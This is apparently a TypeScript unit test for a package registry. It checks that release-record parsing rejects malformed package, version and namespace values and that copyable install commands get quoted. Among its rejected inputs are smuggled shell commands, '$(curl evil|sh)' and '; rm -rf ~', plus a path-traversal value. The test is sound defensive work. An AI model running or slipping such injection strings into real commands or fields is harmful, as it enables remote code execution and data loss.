testCopiedCommandsAreWords

tcmts.registry.test.testCopiedCommandsAreWords · #b7qmcmh2 · term

A release record whose package or version isn't a name or a version (shell in it, say) isn't a release, and the line a page offers to copy is quoted however odd a handle is.

import { parseReleaseRecord } from "#codebase/tcmts/records";
import { addLine } from "#codebase/tcmts/registry";
import assert from "node:assert/strict";

export const testCopiedCommandsAreWords = () => {
  const record = (over: Record<string, unknown>) => ({
    $type: "codes.tcm.release",
    package: "geo",
    version: "1.0.0",
    namespace: "ofruor5lwehvlu7fm7ii6xja4lat2kwunkno4iqipf3holmwm2xq",
    entry: "x",
    hashFormat: 2,
    notes: "",
    sources: ["https://alice.dev"],
    createdAt: "2026-11-03T00:00:00Z",
    ...over,
  });
  assert.ok(parseReleaseRecord(record({})));
  assert.ok(parseReleaseRecord(record({ package: "@alice/geo", version: "2.0.0-beta.1+build.5" })));
  for (const bad of [
    { version: "1.0.0$(curl evil|sh)" },
    { version: "1.0" },
    { package: "geo; rm -rf ~" },
    { package: "Geo Lib" },
    { namespace: "../../x" },
  ])
    assert.equal(parseReleaseRecord(record(bad)), undefined, JSON.stringify(bad));
  assert.equal(
    addLine({ did: "did:plc:x", handle: "alice.dev" }, "geo", "1.0.0"),
    "tcm lib add @alice.dev/geo@1.0.0",
  );
  assert.equal(
    addLine({ did: "did:plc:x", handle: "a$(x).dev" }, "geo", "1.0.0"),
    "tcm lib add '@a$(x).dev/geo@1.0.0'",
  );
}

testCopiedCommandsAreWords

uses